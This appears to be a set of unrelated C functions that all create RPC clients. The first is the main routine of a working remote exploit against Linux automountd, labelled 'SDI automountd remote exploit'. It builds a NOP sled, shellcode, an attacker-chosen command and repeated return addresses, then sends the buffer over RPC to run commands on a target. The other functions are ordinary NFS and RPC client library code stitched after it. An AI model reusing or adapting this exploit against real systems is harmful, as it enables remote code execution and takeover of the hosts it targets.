int main ( int argc, char *argv[] ) { CLIENT *cl; struct timeval tv; struct sockaddr_in sa; struct hostent *he; char buf[8000], *path = buf, comm[200], *host, *cc; int sd, res, x, y, offset=0, c, port=0, damn=0, udp=0; long addr = 0xbffff505; while ((c = getopt(argc, argv, "h:p:c:o:u")) != -1) switch (c) { case 'h': host = optarg; break; case 'p': port = atoi(optarg); break; case 'c': cc = optarg; break; case 'o': offset = atoi ( optarg); break; case 'u': udp = 1; break; default: damn = 1; break; } if (!host || !cc || damn) usage ( argv[0]); sa.sin_family = AF_INET; he = gethostbyname ( host); if (!he) { if ( (sa.sin_addr.s_addr = inet_addr ( host)) == INADDR_NONE) { printf ( "unknown host, try again pal!\n"); exit ( 0); } } else bcopy ( he->h_addr, (struct in_addr *) &sa.sin_addr, he->h_length); sa.sin_port = htons(port); sd = RPC_ANYSOCK; tv.tv_sec = 10; tv.tv_usec = 0; snprintf ( comm, sizeof(comm), "%s", cc); if ( strlen(comm) >= 160) { printf ( "command too long\n"); exit (0); } else { comm[strlen(comm)] = ';'; for ( x = strlen(comm); x < 160; x++) comm[x] = 'A'; } addr += offset; for ( x = 0; x < (1001-(strlen(shellcode)+strlen(comm))); x++) buf[x] = NOP; for ( y = 0; y < strlen(shellcode); x++, y++) buf[x] = shellcode[y]; for ( y = 0; y < strlen(comm); x++, y++) buf[x] = comm[y]; printf ( "SDI automountd remote exploit for linux\n"); printf ( "Host %s \nRET 0x%x \nOFFset %d \n", host, addr, offset); for ( ; x < 1020; x+=4) { buf[x ] = (addr & 0x000000ff); buf[x+1] = (addr & 0x0000ff00) >> 8; buf[x+2] = (addr & 0x00ff0000) >> 16; buf[x+3] = (addr & 0xff000000) >> 24; } buf[strlen(buf)] = '\0'; if (!udp) { if ((cl = clnttcp_create(&sa, AMQ_PROGRAM, AMQ_VERSION, &sd, 0, 0)) == NULL) { clnt_pcreateerror("clnt_create"); exit (-1); } } else { if ((cl = clntudp_create(&sa, AMQ_PROGRAM, AMQ_VERSION, tv, &sd)) == NULL) { clnt_pcreateerror("clnt_create"); exit (-1); } } printf ( "PORT %d \n", ntohs(sa.sin_port)); printf ( "Command: %s \n", cc); amqproc_mount_1 (&path, cl); clnt_destroy ( cl); }
CLIENT * get_client(struct sockaddr_in *host_addr, u_long vers) { CLIENT *client; int sock_no, i; struct timeval retry_time, time_now; gettimeofday(&time_now, NULL); /* * Search for the given client in the cache, zapping any expired * entries that we happen to notice in passing. */ for (i = 0; i < CLIENT_CACHE_SIZE; i++) { client = clnt_cache_ptr[i]; if (client && ((clnt_cache_time[i] + CLIENT_CACHE_LIFETIME) < time_now.tv_sec)) { /* Cache entry has expired. */ if (debug_level > 3) syslog(LOG_DEBUG, "Expired CLIENT* in cache"); clnt_cache_time[i] = 0L; clnt_destroy(client); clnt_cache_ptr[i] = NULL; client = NULL; } if (client && !memcmp(&clnt_cache_addr[i], &host_addr->sin_addr, sizeof(struct in_addr))) { /* Found it! */ if (debug_level > 3) syslog(LOG_DEBUG, "Found CLIENT* in cache"); return client; } } /* Not found in cache. Free the next entry if it is in use. */ if (clnt_cache_ptr[clnt_cache_next_to_use]) { clnt_destroy(clnt_cache_ptr[clnt_cache_next_to_use]); clnt_cache_ptr[clnt_cache_next_to_use] = NULL; } sock_no = RPC_ANYSOCK; retry_time.tv_sec = 5; retry_time.tv_usec = 0; host_addr->sin_port = 0; client = clntudp_create(host_addr, NLM_PROG, vers, retry_time, &sock_no); if (!client) { syslog(LOG_ERR, "%s", clnt_spcreateerror("clntudp_create")); syslog(LOG_ERR, "Unable to return result to %s", inet_ntoa(host_addr->sin_addr)); return NULL; } /* Success - update the cache entry */ clnt_cache_ptr[clnt_cache_next_to_use] = client; clnt_cache_addr[clnt_cache_next_to_use] = host_addr->sin_addr; clnt_cache_time[clnt_cache_next_to_use] = time_now.tv_sec; if (++clnt_cache_next_to_use >= CLIENT_CACHE_SIZE) clnt_cache_next_to_use = 0; /* * Disable the default timeout, so we can specify our own in calls * to clnt_call(). (Note that the timeout is a different concept * from the retry period set in clnt_udp_create() above.) */ retry_time.tv_sec = -1; retry_time.tv_usec = -1; clnt_control(client, CLSET_TIMEOUT, (char *)(void *)&retry_time); if (debug_level > 3) syslog(LOG_DEBUG, "Created CLIENT* for %s", inet_ntoa(host_addr->sin_addr)); return client; }
int getnfsargs(char *spec, struct nfs_args *nfsargsp) { CLIENT *clp; struct hostent *hp; static struct sockaddr_in saddr; struct timeval pertry, try; enum clnt_stat clnt_stat; int so = RPC_ANYSOCK, i, nfsvers, mntvers, orgcnt; char *hostp, *delimp; u_short tport; static struct nfhret nfhret; static char nam[MNAMELEN + 1]; if (strlcpy(nam, spec, sizeof(nam)) >= sizeof(nam)) { errx(1, "hostname too long"); } if ((delimp = strchr(spec, '@')) != NULL) { hostp = delimp + 1; } else if ((delimp = strchr(spec, ':')) != NULL) { hostp = spec; spec = delimp + 1; } else { warnx("no <host>:<dirpath> or <dirpath>@<host> spec"); return (0); } *delimp = '\0'; /* * Handle an internet host address */ if (inet_aton(hostp, &saddr.sin_addr) == 0) { hp = gethostbyname(hostp); if (hp == NULL) { warnx("can't resolve address for host %s", hostp); return (0); } memcpy(&saddr.sin_addr, hp->h_addr, hp->h_length); } if (force2) { nfsvers = NFS_VER2; mntvers = RPCMNT_VER1; } else { nfsvers = NFS_VER3; mntvers = RPCMNT_VER3; } orgcnt = retrycnt; tryagain: nfhret.stat = EACCES; /* Mark not yet successful */ while (retrycnt > 0) { saddr.sin_family = AF_INET; saddr.sin_port = htons(PMAPPORT); if ((tport = port_no ? port_no : pmap_getport(&saddr, RPCPROG_NFS, nfsvers, nfsargsp->sotype == SOCK_STREAM ? IPPROTO_TCP : IPPROTO_UDP)) == 0) { if ((opflags & ISBGRND) == 0) clnt_pcreateerror("NFS Portmap"); } else { saddr.sin_port = 0; pertry.tv_sec = 10; pertry.tv_usec = 0; if (mnttcp_ok && nfsargsp->sotype == SOCK_STREAM) clp = clnttcp_create(&saddr, RPCPROG_MNT, mntvers, &so, 0, 0); else clp = clntudp_create(&saddr, RPCPROG_MNT, mntvers, pertry, &so); if (clp == NULL) { if ((opflags & ISBGRND) == 0) clnt_pcreateerror("Cannot MNT RPC"); } else { clp->cl_auth = authunix_create_default(); try.tv_sec = 10; try.tv_usec = 0; nfhret.auth = RPCAUTH_UNIX; nfhret.vers = mntvers; clnt_stat = clnt_call(clp, RPCMNT_MOUNT, xdr_dir, spec, xdr_fh, &nfhret, try); if (clnt_stat != RPC_SUCCESS) { if (clnt_stat == RPC_PROGVERSMISMATCH) { if (nfsvers == NFS_VER3 && !force3) { retrycnt = orgcnt; nfsvers = NFS_VER2; mntvers = RPCMNT_VER1; nfsargsp->flags &= ~NFSMNT_NFSV3; goto tryagain; } else { warnx("%s", clnt_sperror(clp, "MNT RPC")); } } if ((opflags & ISBGRND) == 0) warnx("%s", clnt_sperror(clp, "bad MNT RPC")); } else { auth_destroy(clp->cl_auth); clnt_destroy(clp); retrycnt = 0; } } } if (--retrycnt > 0) { if (opflags & BGRND) { opflags &= ~BGRND; if ((i = fork())) { if (i == -1) err(1, "fork"); exit(0); } (void) setsid(); (void) close(STDIN_FILENO); (void) close(STDOUT_FILENO); (void) close(STDERR_FILENO); (void) chdir("/"); opflags |= ISBGRND; } sleep(60); } } if (nfhret.stat) { if (opflags & ISBGRND) exit(1); errno = nfhret.stat; warnx("can't access %s: %s", spec, strerror(nfhret.stat)); return (0); } saddr.sin_port = htons(tport); nfsargsp->addr = (struct sockaddr *) &saddr; nfsargsp->addrlen = sizeof (saddr); nfsargsp->fh = nfhret.nfh; nfsargsp->fhsize = nfhret.fhsize; nfsargsp->hostname = nam; return (1); }
/* * Find the best NFS version for a host and protocol. */ u_long get_nfs_version(char *host, struct sockaddr_in *sin, u_long nfs_version, const char *proto) { CLIENT *clnt; int again = 0; enum clnt_stat clnt_stat; struct timeval tv; int sock; char *errstr; /* * If not set or set wrong, then try from NFS_VERS_MAX on down. If * set, then try from nfs_version on down. */ if (nfs_version <= 0 || nfs_version > NFS_VERS_MAX) { nfs_version = NFS_VERS_MAX; again = 1; } tv.tv_sec = 2; /* retry every 2 seconds, but also timeout */ tv.tv_usec = 0; #ifdef HAVE_FS_NFS3 try_again: #endif /* HAVE_FS_NFS3 */ sock = RPC_ANYSOCK; errstr = NULL; if (STREQ(proto, "tcp")) clnt = clnttcp_create(sin, NFS_PROGRAM, nfs_version, &sock, 0, 0); else if (STREQ(proto, "udp")) clnt = clntudp_create(sin, NFS_PROGRAM, nfs_version, tv, &sock); else clnt = NULL; if (clnt != NULL) { /* Try three times (6/2=3) to verify the CLIENT handle. */ tv.tv_sec = 6; clnt_stat = clnt_call(clnt, NFSPROC_NULL, (XDRPROC_T_TYPE) xdr_void, 0, (XDRPROC_T_TYPE) xdr_void, 0, tv); if (clnt_stat != RPC_SUCCESS) errstr = clnt_sperrno(clnt_stat); close(sock); clnt_destroy(clnt); } else { #ifdef HAVE_CLNT_SPCREATEERROR errstr = clnt_spcreateerror(""); #else /* not HAVE_CLNT_SPCREATEERROR */ errstr = ""; #endif /* not HAVE_CLNT_SPCREATEERROR */ } if (errstr) { plog(XLOG_INFO, "get_nfs_version NFS(%d,%s) failed for %s%s", (int) nfs_version, proto, host, errstr); if (again) { #ifdef HAVE_FS_NFS3 if (nfs_version == NFS_VERSION3) { nfs_version = NFS_VERSION; again = 0; plog(XLOG_INFO, "get_nfs_version trying a lower version: NFS(%d,%s)", (int) nfs_version, proto); } goto try_again; #endif /* HAVE_FS_NFS3 */ } return 0; } plog(XLOG_INFO, "get_nfs_version: returning NFS(%d,%s) on host %s", (int) nfs_version, proto, host); return nfs_version; }
/* * Find the best NFS version for a host and protocol. */ u_long get_nfs_version(char *host, struct sockaddr_in *sin, u_long nfs_version, const char *proto) { CLIENT *clnt; int again = 0; enum clnt_stat clnt_stat; struct timeval tv; int sock; /* * If not set or set wrong, then try from NFS_VERS_MAX on down. If * set, then try from nfs_version on down. */ if (nfs_version <= 0 || nfs_version > NFS_VERS_MAX) { nfs_version = NFS_VERS_MAX; again = 1; } tv.tv_sec = 3; /* retry every 3 seconds, but also timeout */ tv.tv_usec = 0; /* * First check if remote portmapper is up (verify if remote host is up). */ clnt_stat = pmap_ping(sin); if (clnt_stat == RPC_TIMEDOUT) { plog(XLOG_ERROR, "get_nfs_version: failed to contact portmapper on host \"%s\": %s", host, clnt_sperrno(clnt_stat)); return 0; } #ifdef HAVE_FS_NFS3 try_again: #endif /* HAVE_FS_NFS3 */ sock = RPC_ANYSOCK; if (STREQ(proto, "tcp")) clnt = clnttcp_create(sin, NFS_PROGRAM, nfs_version, &sock, 0, 0); else if (STREQ(proto, "udp")) clnt = clntudp_create(sin, NFS_PROGRAM, nfs_version, tv, &sock); else clnt = NULL; if (clnt == NULL) { #ifdef HAVE_CLNT_SPCREATEERROR plog(XLOG_INFO, "get_nfs_version NFS(%d,%s) failed for %s: %s", (int) nfs_version, proto, host, clnt_spcreateerror("")); #else /* not HAVE_CLNT_SPCREATEERROR */ plog(XLOG_INFO, "get_nfs_version NFS(%d,%s) failed for %s", (int) nfs_version, proto, host); #endif /* not HAVE_CLNT_SPCREATEERROR */ return 0; } /* Try a couple times to verify the CLIENT handle. */ tv.tv_sec = 6; clnt_stat = clnt_call(clnt, NFSPROC_NULL, (XDRPROC_T_TYPE) xdr_void, 0, (XDRPROC_T_TYPE) xdr_void, 0, tv); close(sock); clnt_destroy(clnt); if (clnt_stat != RPC_SUCCESS) { if (again) { #ifdef HAVE_FS_NFS3 if (nfs_version == NFS_VERSION3) { plog(XLOG_INFO, "get_nfs_version trying a lower version"); nfs_version = NFS_VERSION; again = 0; } goto try_again; #endif /* HAVE_FS_NFS3 */ } plog(XLOG_INFO, "get_nfs_version NFS(%d,%s) failed for %s", (int) nfs_version, proto, host); return 0; } plog(XLOG_INFO, "get_nfs_version: returning (%d,%s) on host %s", (int) nfs_version, proto, host); return nfs_version; }
/* * Generic client creation: takes (hostname, program-number, protocol) and * returns client handle. Default options are set, which the user can * change using the rpc equivalent of ioctl()'s. */ CLIENT * clnt_create( char *hostname, rpcprog_t prog, rpcvers_t vers, char *proto) { struct hostent *h; struct protoent *p; struct sockaddr_in sockin; int sock; struct timeval tv; CLIENT *client; h = gethostbyname(hostname); if (h == NULL) { rpc_createerr.cf_stat = RPC_UNKNOWNHOST; return (NULL); } if (h->h_addrtype != AF_INET) { /* * Only support INET for now */ rpc_createerr.cf_stat = RPC_SYSTEMERROR; rpc_createerr.cf_error.re_errno = EAFNOSUPPORT; return (NULL); } memset(&sockin, 0, sizeof(sockin)); #if HAVE_STRUCT_SOCKADDR_IN_SIN_LEN sockin.sin_len = sizeof(sockin); #endif sockin.sin_family = h->h_addrtype; sockin.sin_port = 0; memmove((char*)&sockin.sin_addr, h->h_addr, sizeof(sockin.sin_addr)); p = getprotobyname(proto); if (p == NULL) { rpc_createerr.cf_stat = RPC_UNKNOWNPROTO; rpc_createerr.cf_error.re_errno = EPFNOSUPPORT; return (NULL); } sock = RPC_ANYSOCK; switch (p->p_proto) { case IPPROTO_UDP: tv.tv_sec = 5; tv.tv_usec = 0; client = clntudp_create(&sockin, prog, vers, tv, &sock); if (client == NULL) { return (NULL); } tv.tv_sec = 120; clnt_control(client, CLSET_TIMEOUT, &tv); break; case IPPROTO_TCP: client = clnttcp_create(&sockin, prog, vers, &sock, 0, 0); if (client == NULL) { return (NULL); } tv.tv_sec = 120; tv.tv_usec = 0; clnt_control(client, CLSET_TIMEOUT, &tv); break; default: rpc_createerr.cf_stat = RPC_SYSTEMERROR; rpc_createerr.cf_error.re_errno = EPFNOSUPPORT; return (NULL); } return (client); }